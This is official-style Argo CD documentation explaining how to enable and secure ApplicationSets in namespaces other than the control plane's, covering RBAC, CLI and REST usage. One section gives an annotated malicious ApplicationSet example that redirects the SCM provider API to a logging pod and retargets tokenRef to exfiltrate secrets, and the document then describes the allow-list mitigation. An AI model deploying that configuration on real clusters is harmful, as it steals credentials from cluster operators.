ApplicationSet in any namespace

Current feature state: Beta

Warning

Please read this documentation carefully before you enable this feature. Misconfiguration could lead to potential security issues.

Introduction

As of version 2.8, Argo CD supports managing ApplicationSet resources in namespaces other than the control plane’s namespace (which is usually argocd), but this feature has to be explicitly enabled and configured appropriately.

Argo CD administrators can define a certain set of namespaces where ApplicationSet resources may be created, updated and reconciled in.

As Applications generated by an ApplicationSet are generated in the same namespace as the ApplicationSet itself, this works in combination with App in any namespace.

Prerequisites

App in any namespace configured

This feature needs App in any namespace feature activated. The list of namespaces must be the same.

Cluster-scoped Argo CD installation

This feature can only be enabled and used when your Argo CD ApplicationSet controller is installed as a cluster-wide instance, so it has permissions to list and manipulate resources on a cluster scope. It will not work with an Argo CD installed in namespace-scoped mode.

SCM Providers secrets consideration

By allowing ApplicationSet in any namespace you must be aware that any secrets can be exfiltrated using scmProvider or pullRequest generators.

Here is an example:

  1. apiVersion: argoproj.io/v1alpha1
  2. kind: ApplicationSet
  3. metadata:
  4. name: myapps
  5. spec:
  6. generators:
  7. - scmProvider:
  8. gitea:
  9. # The Gitea owner to scan.
  10. owner: myorg
  11. # With this malicious setting, user can send all request to a Pod that will log incoming requests including headers with tokens
  12. api: http://my-service.my-namespace.svc.cluster.local
  13. # If true, scan every branch of every repository. If false, scan only the default branch. Defaults to false.
  14. allBranches: true
  15. # By changing this token reference, user can exfiltrate any secrets
  16. tokenRef:
  17. secretName: gitea-token
  18. key: token
  19. template:

Therefore administrator must restrict the urls of the allowed SCM Providers (example: https://git.mydomain.com/,https://gitlab.mydomain.com/) by setting the environment variable ARGOCD_APPLICATIONSET_CONTROLLER_ALLOWED_SCM_PROVIDERS to argocd-cmd-params-cm applicationsetcontroller.allowed.scm.providers. If another url is used, it will be rejected by the applicationset controller.

For example:

  1. apiVersion: v1
  2. kind: ConfigMap
  3. metadata:
  4. name: argocd-cmd-params-cm
  5. data:
  6. applicationsetcontroller.allowed.scm.providers: https://git.mydomain.com/,https://gitlab.mydomain.com/

Please note url used in the api field of the ApplicationSet must match the url declared by the Administrator including the protocol

Overview

In order for an ApplicationSet to be managed and reconciled outside the Argo CD’s control plane namespace, two prerequisites must match:

  1. The namespace list from which argocd-applicationset-controller can source ApplicationSets must be explicitly set using environment variable ARGOCD_APPLICATIONSET_CONTROLLER_NAMESPACES or alternatively using parameter --applicationset-namespaces.
  2. The enabled namespaces must be entirely covered by the App in any namespace, otherwise the generated Applications generated outside the allowed Application namespaces won’t be reconciled

It can be achieved by setting the environment variable ARGOCD_APPLICATIONSET_CONTROLLER_NAMESPACES to argocd-cmd-params-cm applicationsetcontroller.namespaces

ApplicationSets in different namespaces can be created and managed just like any other ApplicationSet in the argocd namespace previously, either declaratively or through the Argo CD API (e.g. using the CLI, the web UI, the REST API, etc).

Reconfigure Argo CD to allow certain namespaces

Change workload startup parameters

In order to enable this feature, the Argo CD administrator must reconfigure the and argocd-applicationset-controller workloads to add the --applicationset-namespaces parameter to the container’s startup command.

Safely template project

As App in any namespace is a prerequisite, it is possible to safely template project.

Let’s take an example with two teams and an infra project:

  1. kind: AppProject
  2. apiVersion: argoproj.io/v1alpha1
  3. metadata:
  4. name: infra-project
  5. namespace: argocd
  6. spec:
  7. destinations:
  8. - namespace: '*'
  1. kind: AppProject
  2. apiVersion: argoproj.io/v1alpha1
  3. metadata:
  4. name: team-one-project
  5. namespace: argocd
  6. spec:
  7. sourceNamespaces:
  8. - team-one-cd
  1. kind: AppProject
  2. apiVersion: argoproj.io/v1alpha1
  3. metadata:
  4. name: team-two-project
  5. namespace: argocd
  6. spec:
  7. sourceNamespaces:
  8. - team-two-cd

Creating following ApplicationSet generates two Applications infra-escalation and team-two-escalation. Both will be rejected as they are outside argocd namespace, therefore sourceNamespaces will be checked

  1. apiVersion: argoproj.io/v1alpha1
  2. kind: ApplicationSet
  3. metadata:
  4. name: team-one-product-one
  5. namespace: team-one-cd
  6. spec:
  7. generators:
  8. list:
  9. - id: infra
  10. project: infra-project
  11. - id: team-two
  12. project: team-two-project
  13. template:
  14. metadata:
  15. name: '{{name}}-escalation'
  16. spec:
  17. project: "{{project}}"

ApplicationSet names

For the CLI, applicationSets are now referred to and displayed as in the format <namespace>/<name>.

For backwards compatibility, if the namespace of the ApplicationSet is the control plane’s namespace (i.e. argocd), the <namespace> can be omitted from the applicationset name when referring to it. For example, the application names argocd/someappset and someappset are semantically the same and refer to the same application in the CLI and the UI.

Applicationsets RBAC

The RBAC syntax for Application objects has been changed from <project>/<applicationset> to <project>/<namespace>/<applicationset> to accommodate the need to restrict access based on the source namespace of the Application to be managed.

For backwards compatibility, Applications in the argocd namespace can still be referred to as <project>/<applicationset> in the RBAC policy rules.

Wildcards do not make any distinction between project and applicationset namespaces yet. For example, the following RBAC rule would match any application belonging to project foo, regardless of the namespace it is created in:

  1. p, somerole, applicationsets, get, foo/*, allow

If you want to restrict access to be granted only to ApplicationSets with project foo within namespace bar, the rule would need to be adapted as follows:

  1. p, somerole, applicationsets, get, foo/bar/*, allow

Managing applicationSets in other namespaces

Using the CLI

You can use all existing Argo CD CLI commands for managing applications in other namespaces, exactly as you would use the CLI to manage applications in the control plane’s namespace.

For example, to retrieve the ApplicationSet named foo in the namespace bar, you can use the following CLI command:

  1. argocd appset get foo/bar

Likewise, to manage this applicationSet, keep referring to it as foo/bar:

  1. # Delete the application
  2. argocd appset delete foo/bar

There is no change on the create command as it is using a file. You just need to add the namespace in the metadata.namespace field.

As stated previously, for applicationSets in the Argo CD’s control plane namespace, you can omit the namespace from the application name.

Using the REST API

If you are using the REST API, the namespace for ApplicationSet cannot be specified as the application name, and resources need to be specified using the optional appNamespace query parameter. For example, to work with the ApplicationSet resource named foo in the namespace bar, the request would look like follows:

  1. GET /api/v1/applicationsets/foo?appsetNamespace=bar

For other operations such as POST and PUT, the appNamespace parameter must be part of the request’s payload.

For ApplicationSet resources in the control plane namespace, this parameter can be omitted.

Clusters secrets consideration

By allowing ApplicationSet in any namespace you must be aware that clusters can be discovered and used.

Example:

Following will discover all clusters

  1. spec:
  2. generators:
  3. - clusters: {} # Automatically use all clusters defined within Argo CD

If you don’t want to allow users to discover all clusters with ApplicationSets from other namespaces you may consider deploying ArgoCD in namespace scope or use OPA rules.